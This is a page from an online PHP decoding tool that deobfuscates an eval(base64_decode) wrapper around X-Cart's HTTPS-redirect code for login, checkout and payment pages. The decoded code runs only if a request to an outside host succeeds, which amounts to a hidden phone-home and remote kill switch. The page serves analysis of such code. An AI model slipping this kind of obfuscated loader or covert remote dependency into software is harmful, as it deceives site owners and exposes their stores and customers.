Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0KaWYoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZWF..

Decoded Output download

?>b'<?php

if(file_get_contents("http://www.easydatasearch.com/easydata1/livekingdomhall/xcart.php"))
{


if ( !defined(\'XCART_START\') ) { header("Location: home.php"); die("Access denied"); }

x_load(\'files\');

x_session_register(\'https_redirect_counter\', 0);

x_session_register(\'https_redirect_forbidden\', false);

$https_messages = array(
    array(
        "mode=order_message",
        "mode=order_message_widget",
        "orderids="
    ),
    \'error_message.php\'
);

$https_scripts = array();

$_dir_user = func_get_area_catalog(AREA_TYPE, true);

if ($config[\'Security\'][\'use_https_login\'] == \'Y\') {

    $https_scripts[] = \'register.php\';
    $https_scripts[] = \'change_password.php\';
    $https_scripts[] = \'login.php\';
    $https_scripts[] = array(
        \'cart.php\',
        "mode=checkout",
    );
    $https_scripts[] = array(
        \'cart.php\',
        "mode=auth",
    );
    $https_scripts[] = array(
        \'help.php\', 
        "section=contactus"
    );

    // Login form on the home page
    if (
        $current_area != \'C\'
        && empty($login)
    ) {
        $https_scripts[] = \'home.php\';
    }

    if ($current_area != \'A\') {

        // Add payment scripts entries to $https_scripts
        $processor_files = func_query_column("SELECT DISTINCT processor_file FROM $sql_tbl[payment_methods] WHERE processor_file != \'\' AND active = \'Y\'");
        if (!empty($processor_files)) {
            $https_scripts = array_merge($https_scripts, $processor_files);
        }
        unset($processor_files);

    }

} else if (!empty($active_modules[\'XPayments_Connector\'])) {

    if (
        $current_area != \'A\'
        && func_query_first_cell("SELECT COUNT(*) FROM $sql_tbl[payment_methods] WHERE processor_file = \'cc_xpc.php\' AND active = \'Y\'")
    ) {

        // Force HTTPS on checkout if X-Payments payment method(s) available

        $https_scripts[] = \'cc_xpc.php\';
        $https_scripts[] = array(
            \'cart.php\',
            "mode=checkout",
        );

    }

}

if (!function_exists(\'is_https_link\')) {
function is_https_link($link, $https_scripts)
{
    /*
     Corect possible bugs in func_is_always_allowed_link also
    */
    if (empty($https_scripts))
        return false;

    $link = preg_replace(\'!^/+!S\', \'\', $link);

    foreach ($https_scripts as $https_script) {

        if (!is_array($https_script))
            $https_script = array($https_script);

        $tmp = true;

        foreach ($https_script as $v) {

            $p = strpos($link, $v);

            if ($p === false) {
                $tmp = false;
                break;
            }

            if ($v[strlen($v)-1] === \'=\') continue;

            if ($p + strlen($v) < strlen($link)) {

                $last = $link[$p+strlen($v)];

                if ($last === \'?\') continue;

                if ($last !== \'&\') {

                    $tmp = false;

                    break;
                }

            }

        }

        if ($tmp) return true;
    }

    return false;
}
}

$current_script = \'/\' . basename($PHP_SELF . ($QUERY_STRING ? "?$QUERY_STRING" : \'\'));

/**
 * Generate additional PHPSESSID var
 */
$additional_query = ($QUERY_STRING ? "&" : "?")
    . (
        strstr($QUERY_STRING, $XCART_SESSION_NAME)
        ? \'\'
        : $XCART_SESSION_NAME . "=" . $XCARTSESSID
    );

if (
    !preg_match("/(?:^|&)sl=/", $additional_query)
    && $xcart_http_host != $xcart_https_host
) {
    // $store_language is variable from customer area. Add code to avoid PHP notice
    if (
        empty($store_language)
        && in_array($current_area, array(\'A\', \'P\'))
    ) {
        $store_language = \'\';
    } else {
        assert(\'!empty($store_language) /* empty $store_language */\');
    }

    $additional_query .= "&sl=" . $store_language . "&is_https_redirect=Y";
}

if (TRUE 
    && !defined(\'X_CRON\')
    && !empty($REQUEST_METHOD)
    && $REQUEST_METHOD == \'GET\'
    && empty($_GET[\'keep_https\'])
    && ($HTTPS || !$https_redirect_forbidden)
) {
    $tmp_location = \'\';

    if (
        !$HTTPS
        && is_https_link($current_script, $https_scripts)
    ) {

        $tmp_location = $_dir_user . $current_script . $additional_query;

    } elseif (
        !$HTTPS
        && is_https_link($current_script, $https_messages)
        && !strncasecmp($HTTP_REFERER, $https_location, strlen($https_location))
    ) {

        $tmp_location = $_dir_user . $current_script . $additional_query;

    } elseif (
        $config[\'Security\'][\'leave_https\'] == \'Y\'
        && $HTTPS
        && !is_https_link($current_script, $https_scripts)
        && !is_https_link($current_script, $https_messages)
        && !func_is_ajax_request()
        && !in_array(AREA_TYPE, array(\'A\', \'P\'))
    ) {

        x_session_register(\'login_redirect\');

        $do_redirect = empty($login_redirect);

        x_session_unregister(\'login_redirect\');

        if ($do_redirect) {

            $_dir_user = func_get_area_catalog(AREA_TYPE, false);

            $tmp_location = $_dir_user . $current_script . $additional_query;

        }

    }

    $https_redirect_limit = intval($https_redirect_limit);

    if (
        !empty($tmp_location)
        && !$HTTPS
        && $https_redirect_limit > 0
        && $https_redirect_counter > $https_redirect_limit
    ) {
        $https_redirect_forbidden = true;
    }

    if (
        !empty($tmp_location)
        && (
            $HTTPS
            || !$https_redirect_forbidden
        )
    ) {

        $https_redirect_counter++;

        if ($smarty->webmaster_mode) {
            echo \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script type="text/javascript">
//<![CDATA[
var _smarty_console = window.open("","console","width=360,height=500,resizable,scrollbars=yes");
if (_smarty_console)
    _smarty_console.close();
//]]>
</script>\';
            echo "<br /><br />".func_get_langvar_by_name(\'txt_header_location_note\', array(\'time\' => 2, \'location\' => $tmp_location), false, true, true);
            echo "<meta http-equiv=\"Refresh\" content=\"0;URL=$tmp_location\" />";
            echo "</body>
</html>";

            exit;

        } else {

            func_header_location($tmp_location, TRUE, 301);

        }

    } else {

        $https_redirect_counter = 0;

    }
}
}
?>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0KaWYoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZWFzeWRhdGFzZWFyY2guY29tL2Vhc3lkYXRhMS9saXZla2luZ2RvbWhhbGwveGNhcnQucGhwIikpDQp7DQoNCg0KaWYgKCAhZGVmaW5lZCgnWENBUlRfU1RBUlQnKSApIHsgaGVhZGVyKCJMb2NhdGlvbjogaG9tZS5waHAiKTsgZGllKCJBY2Nlc3MgZGVuaWVkIik7IH0NCg0KeF9sb2FkKCdmaWxlcycpOw0KDQp4X3Nlc3Npb25fcmVnaXN0ZXIoJ2h0dHBzX3JlZGlyZWN0X2NvdW50ZXInLCAwKTsNCg0KeF9zZXNzaW9uX3JlZ2lzdGVyKCdodHRwc19yZWRpcmVjdF9mb3JiaWRkZW4nLCBmYWxzZSk7DQoNCiRodHRwc19tZXNzYWdlcyA9IGFycmF5KA0KICAgIGFycmF5KA0KICAgICAgICAibW9kZT1vcmRlcl9tZXNzYWdlIiwNCiAgICAgICAgIm1vZGU9b3JkZXJfbWVzc2FnZV93aWRnZXQiLA0KICAgICAgICAib3JkZXJpZHM9Ig0KICAgICksDQogICAgJ2Vycm9yX21lc3NhZ2UucGhwJw0KKTsNCg0KJGh0dHBzX3NjcmlwdHMgPSBhcnJheSgpOw0KDQokX2Rpcl91c2VyID0gZnVuY19nZXRfYXJlYV9jYXRhbG9nKEFSRUFfVFlQRSwgdHJ1ZSk7DQoNCmlmICgkY29uZmlnWydTZWN1cml0eSddWyd1c2VfaHR0cHNfbG9naW4nXSA9PSAnWScpIHsNCg0KICAgICRodHRwc19zY3JpcHRzW10gPSAncmVnaXN0ZXIucGhwJzsNCiAgICAkaHR0cHNfc2NyaXB0c1tdID0gJ2NoYW5nZV9wYXNzd29yZC5waHAnOw0KICAgICRodHRwc19zY3JpcHRzW10gPSAnbG9naW4ucGhwJzsNCiAgICAkaHR0cHNfc2NyaXB0c1tdID0gYXJyYXkoDQogICAgICAgICdjYXJ0LnBocCcsDQogICAgICAgICJtb2RlPWNoZWNrb3V0IiwNCiAgICApOw0KICAgICRodHRwc19zY3JpcHRzW10gPSBhcnJheSgNCiAgICAgICAgJ2NhcnQucGhwJywNCiAgICAgICAgIm1vZGU9YXV0aCIsDQogICAgKTsNCiAgICAkaHR0cHNfc2NyaXB0c1tdID0gYXJyYXkoDQogICAgICAgICdoZWxwLnBocCcsIA0KICAgICAgICAic2VjdGlvbj1jb250YWN0dXMiDQogICAgKTsNCg0KICAgIC8vIExvZ2luIGZvcm0gb24gdGhlIGhvbWUgcGFnZQ0KICAgIGlmICgNCiAgICAgICAgJGN1cnJlbnRfYXJlYSAhPSAnQycNCiAgICAgICAgJiYgZW1wdHkoJGxvZ2luKQ0KICAgICkgew0KICAgICAgICAkaHR0cHNfc2NyaXB0c1tdID0gJ2hvbWUucGhwJzsNCiAgICB9DQoNCiAgICBpZiAoJGN1cnJlbnRfYXJlYSAhPSAnQScpIHsNCg0KICAgICAgICAvLyBBZGQgcGF5bWVudCBzY3JpcHRzIGVudHJpZXMgdG8gJGh0dHBzX3NjcmlwdHMNCiAgICAgICAgJHByb2Nlc3Nvcl9maWxlcyA9IGZ1bmNfcXVlcnlfY29sdW1uKCJTRUxFQ1QgRElTVElOQ1QgcHJvY2Vzc29yX2ZpbGUgRlJPTSAkc3FsX3RibFtwYXltZW50X21ldGhvZHNdIFdIRVJFIHByb2Nlc3Nvcl9maWxlICE9ICcnIEFORCBhY3RpdmUgPSAnWSciKTsNCiAgICAgICAgaWYgKCFlbXB0eSgkcHJvY2Vzc29yX2ZpbGVzKSkgew0KICAgICAgICAgICAgJGh0dHBzX3NjcmlwdHMgPSBhcnJheV9tZXJnZSgkaHR0cHNfc2NyaXB0cywgJHByb2Nlc3Nvcl9maWxlcyk7DQogICAgICAgIH0NCiAgICAgICAgdW5zZXQoJHByb2Nlc3Nvcl9maWxlcyk7DQoNCiAgICB9DQoNCn0gZWxzZSBpZiAoIWVtcHR5KCRhY3RpdmVfbW9kdWxlc1snWFBheW1lbnRzX0Nvbm5lY3RvciddKSkgew0KDQogICAgaWYgKA0KICAgICAgICAkY3VycmVudF9hcmVhICE9ICdBJw0KICAgICAgICAmJiBmdW5jX3F1ZXJ5X2ZpcnN0X2NlbGwoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICRzcWxfdGJsW3BheW1lbnRfbWV0aG9kc10gV0hFUkUgcHJvY2Vzc29yX2ZpbGUgPSAnY2NfeHBjLnBocCcgQU5EIGFjdGl2ZSA9ICdZJyIpDQogICAgKSB7DQoNCiAgICAgICAgLy8gRm9yY2UgSFRUUFMgb24gY2hlY2tvdXQgaWYgWC1QYXltZW50cyBwYXltZW50IG1ldGhvZChzKSBhdmFpbGFibGUNCg0KICAgICAgICAkaHR0cHNfc2NyaXB0c1tdID0gJ2NjX3hwYy5waHAnOw0KICAgICAgICAkaHR0cHNfc2NyaXB0c1tdID0gYXJyYXkoDQogICAgICAgICAgICAnY2FydC5waHAnLA0KICAgICAgICAgICAgIm1vZGU9Y2hlY2tvdXQiLA0KICAgICAgICApOw0KDQogICAgfQ0KDQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdpc19odHRwc19saW5rJykpIHsNCmZ1bmN0aW9uIGlzX2h0dHBzX2xpbmsoJGxpbmssICRodHRwc19zY3JpcHRzKQ0Kew0KICAgIC8qDQogICAgIENvcmVjdCBwb3NzaWJsZSBidWdzIGluIGZ1bmNfaXNfYWx3YXlzX2FsbG93ZWRfbGluayBhbHNvDQogICAgKi8NCiAgICBpZiAoZW1wdHkoJGh0dHBzX3NjcmlwdHMpKQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQoNCiAgICAkbGluayA9IHByZWdfcmVwbGFjZSgnIV4vKyFTJywgJycsICRsaW5rKTsNCg0KICAgIGZvcmVhY2ggKCRodHRwc19zY3JpcHRzIGFzICRodHRwc19zY3JpcHQpIHsNCg0KICAgICAgICBpZiAoIWlzX2FycmF5KCRodHRwc19zY3JpcHQpKQ0KICAgICAgICAgICAgJGh0dHBzX3NjcmlwdCA9IGFycmF5KCRodHRwc19zY3JpcHQpOw0KDQogICAgICAgICR0bXAgPSB0cnVlOw0KDQogICAgICAgIGZvcmVhY2ggKCRodHRwc19zY3JpcHQgYXMgJHYpIHsNCg0KICAgICAgICAgICAgJHAgPSBzdHJwb3MoJGxpbmssICR2KTsNCg0KICAgICAgICAgICAgaWYgKCRwID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICR0bXAgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKCR2W3N0cmxlbigkdiktMV0gPT09ICc9JykgY29udGludWU7DQoNCiAgICAgICAgICAgIGlmICgkcCArIHN0cmxlbigkdikgPCBzdHJsZW4oJGxpbmspKSB7DQoNCiAgICAgICAgICAgICAgICAkbGFzdCA9ICRsaW5rWyRwK3N0cmxlbigkdildOw0KDQogICAgICAgICAgICAgICAgaWYgKCRsYXN0ID09PSAnPycpIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAgICAgaWYgKCRsYXN0ICE9PSAnJicpIHsNCg0KICAgICAgICAgICAgICAgICAgICAkdG1wID0gZmFsc2U7DQoNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkdG1wKSByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICByZXR1cm4gZmFsc2U7DQp9DQp9DQoNCiRjdXJyZW50X3NjcmlwdCA9ICcvJyAuIGJhc2VuYW1lKCRQSFBfU0VMRiAuICgkUVVFUllfU1RSSU5HID8gIj8kUVVFUllfU1RSSU5HIiA6ICcnKSk7DQoNCi8qKg0KICogR2VuZXJhdGUgYWRkaXRpb25hbCBQSFBTRVNTSUQgdmFyDQogKi8NCiRhZGRpdGlvbmFsX3F1ZXJ5ID0gKCRRVUVSWV9TVFJJTkcgPyAiJiIgOiAiPyIpDQogICAgLiAoDQogICAgICAgIHN0cnN0cigkUVVFUllfU1RSSU5HLCAkWENBUlRfU0VTU0lPTl9OQU1FKQ0KICAgICAgICA/ICcnDQogICAgICAgIDogJFhDQVJUX1NFU1NJT05fTkFNRSAuICI9IiAuICRYQ0FSVFNFU1NJRA0KICAgICk7DQoNCmlmICgNCiAgICAhcHJlZ19tYXRjaCgiLyg/Ol58JilzbD0vIiwgJGFkZGl0aW9uYWxfcXVlcnkpDQogICAgJiYgJHhjYXJ0X2h0dHBfaG9zdCAhPSAkeGNhcnRfaHR0cHNfaG9zdA0KKSB7DQogICAgLy8gJHN0b3JlX2xhbmd1YWdlIGlzIHZhcmlhYmxlIGZyb20gY3VzdG9tZXIgYXJlYS4gQWRkIGNvZGUgdG8gYXZvaWQgUEhQIG5vdGljZQ0KICAgIGlmICgNCiAgICAgICAgZW1wdHkoJHN0b3JlX2xhbmd1YWdlKQ0KICAgICAgICAmJiBpbl9hcnJheSgkY3VycmVudF9hcmVhLCBhcnJheSgnQScsICdQJykpDQogICAgKSB7DQogICAgICAgICRzdG9yZV9sYW5ndWFnZSA9ICcnOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGFzc2VydCgnIWVtcHR5KCRzdG9yZV9sYW5ndWFnZSkgLyogZW1wdHkgJHN0b3JlX2xhbmd1YWdlICovJyk7DQogICAgfQ0KDQogICAgJGFkZGl0aW9uYWxfcXVlcnkgLj0gIiZzbD0iIC4gJHN0b3JlX2xhbmd1YWdlIC4gIiZpc19odHRwc19yZWRpcmVjdD1ZIjsNCn0NCg0KaWYgKFRSVUUgDQogICAgJiYgIWRlZmluZWQoJ1hfQ1JPTicpDQogICAgJiYgIWVtcHR5KCRSRVFVRVNUX01FVEhPRCkNCiAgICAmJiAkUkVRVUVTVF9NRVRIT0QgPT0gJ0dFVCcNCiAgICAmJiBlbXB0eSgkX0dFVFsna2VlcF9odHRwcyddKQ0KICAgICYmICgkSFRUUFMgfHwgISRodHRwc19yZWRpcmVjdF9mb3JiaWRkZW4pDQopIHsNCiAgICAkdG1wX2xvY2F0aW9uID0gJyc7DQoNCiAgICBpZiAoDQogICAgICAgICEkSFRUUFMNCiAgICAgICAgJiYgaXNfaHR0cHNfbGluaygkY3VycmVudF9zY3JpcHQsICRodHRwc19zY3JpcHRzKQ0KICAgICkgew0KDQogICAgICAgICR0bXBfbG9jYXRpb24gPSAkX2Rpcl91c2VyIC4gJGN1cnJlbnRfc2NyaXB0IC4gJGFkZGl0aW9uYWxfcXVlcnk7DQoNCiAgICB9IGVsc2VpZiAoDQogICAgICAgICEkSFRUUFMNCiAgICAgICAgJiYgaXNfaHR0cHNfbGluaygkY3VycmVudF9zY3JpcHQsICRodHRwc19tZXNzYWdlcykNCiAgICAgICAgJiYgIXN0cm5jYXNlY21wKCRIVFRQX1JFRkVSRVIsICRodHRwc19sb2NhdGlvbiwgc3RybGVuKCRodHRwc19sb2NhdGlvbikpDQogICAgKSB7DQoNCiAgICAgICAgJHRtcF9sb2NhdGlvbiA9ICRfZGlyX3VzZXIgLiAkY3VycmVudF9zY3JpcHQgLiAkYWRkaXRpb25hbF9xdWVyeTsNCg0KICAgIH0gZWxzZWlmICgNCiAgICAgICAgJGNvbmZpZ1snU2VjdXJpdHknXVsnbGVhdmVfaHR0cHMnXSA9PSAnWScNCiAgICAgICAgJiYgJEhUVFBTDQogICAgICAgICYmICFpc19odHRwc19saW5rKCRjdXJyZW50X3NjcmlwdCwgJGh0dHBzX3NjcmlwdHMpDQogICAgICAgICYmICFpc19odHRwc19saW5rKCRjdXJyZW50X3NjcmlwdCwgJGh0dHBzX21lc3NhZ2VzKQ0KICAgICAgICAmJiAhZnVuY19pc19hamF4X3JlcXVlc3QoKQ0KICAgICAgICAmJiAhaW5fYXJyYXkoQVJFQV9UWVBFLCBhcnJheSgnQScsICdQJykpDQogICAgKSB7DQoNCiAgICAgICAgeF9zZXNzaW9uX3JlZ2lzdGVyKCdsb2dpbl9yZWRpcmVjdCcpOw0KDQogICAgICAgICRkb19yZWRpcmVjdCA9IGVtcHR5KCRsb2dpbl9yZWRpcmVjdCk7DQoNCiAgICAgICAgeF9zZXNzaW9uX3VucmVnaXN0ZXIoJ2xvZ2luX3JlZGlyZWN0Jyk7DQoNCiAgICAgICAgaWYgKCRkb19yZWRpcmVjdCkgew0KDQogICAgICAgICAgICAkX2Rpcl91c2VyID0gZnVuY19nZXRfYXJlYV9jYXRhbG9nKEFSRUFfVFlQRSwgZmFsc2UpOw0KDQogICAgICAgICAgICAkdG1wX2xvY2F0aW9uID0gJF9kaXJfdXNlciAuICRjdXJyZW50X3NjcmlwdCAuICRhZGRpdGlvbmFsX3F1ZXJ5Ow0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgICRodHRwc19yZWRpcmVjdF9saW1pdCA9IGludHZhbCgkaHR0cHNfcmVkaXJlY3RfbGltaXQpOw0KDQogICAgaWYgKA0KICAgICAgICAhZW1wdHkoJHRtcF9sb2NhdGlvbikNCiAgICAgICAgJiYgISRIVFRQUw0KICAgICAgICAmJiAkaHR0cHNfcmVkaXJlY3RfbGltaXQgPiAwDQogICAgICAgICYmICRodHRwc19yZWRpcmVjdF9jb3VudGVyID4gJGh0dHBzX3JlZGlyZWN0X2xpbWl0DQogICAgKSB7DQogICAgICAgICRodHRwc19yZWRpcmVjdF9mb3JiaWRkZW4gPSB0cnVlOw0KICAgIH0NCg0KICAgIGlmICgNCiAgICAgICAgIWVtcHR5KCR0bXBfbG9jYXRpb24pDQogICAgICAgICYmICgNCiAgICAgICAgICAgICRIVFRQUw0KICAgICAgICAgICAgfHwgISRodHRwc19yZWRpcmVjdF9mb3JiaWRkZW4NCiAgICAgICAgKQ0KICAgICkgew0KDQogICAgICAgICRodHRwc19yZWRpcmVjdF9jb3VudGVyKys7DQoNCiAgICAgICAgaWYgKCRzbWFydHktPndlYm1hc3Rlcl9tb2RlKSB7DQogICAgICAgICAgICBlY2hvICc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8Ym9keT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCi8vPCFbQ0RBVEFbDQp2YXIgX3NtYXJ0eV9jb25zb2xlID0gd2luZG93Lm9wZW4oIiIsImNvbnNvbGUiLCJ3aWR0aD0zNjAsaGVpZ2h0PTUwMCxyZXNpemFibGUsc2Nyb2xsYmFycz15ZXMiKTsNCmlmIChfc21hcnR5X2NvbnNvbGUpDQogICAgX3NtYXJ0eV9jb25zb2xlLmNsb3NlKCk7DQovL11dPg0KPC9zY3JpcHQ+JzsNCiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPiIuZnVuY19nZXRfbGFuZ3Zhcl9ieV9uYW1lKCd0eHRfaGVhZGVyX2xvY2F0aW9uX25vdGUnLCBhcnJheSgndGltZScgPT4gMiwgJ2xvY2F0aW9uJyA9PiAkdG1wX2xvY2F0aW9uKSwgZmFsc2UsIHRydWUsIHRydWUpOw0KICAgICAgICAgICAgZWNobyAiPG1ldGEgaHR0cC1lcXVpdj1cIlJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9JHRtcF9sb2NhdGlvblwiIC8+IjsNCiAgICAgICAgICAgIGVjaG8gIjwvYm9keT5cbjwvaHRtbD4iOw0KDQogICAgICAgICAgICBleGl0Ow0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgIGZ1bmNfaGVhZGVyX2xvY2F0aW9uKCR0bXBfbG9jYXRpb24sIFRSVUUsIDMwMSk7DQoNCiAgICAgICAgfQ0KDQogICAgfSBlbHNlIHsNCg0KICAgICAgICAkaHR0cHNfcmVkaXJlY3RfY291bnRlciA9IDA7DQoNCiAgICB9DQp9DQp9DQo/Pg0K")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 245dfde9cc60a320ede1296c21fd4b06
Eval Count 1
Decode Time 80 ms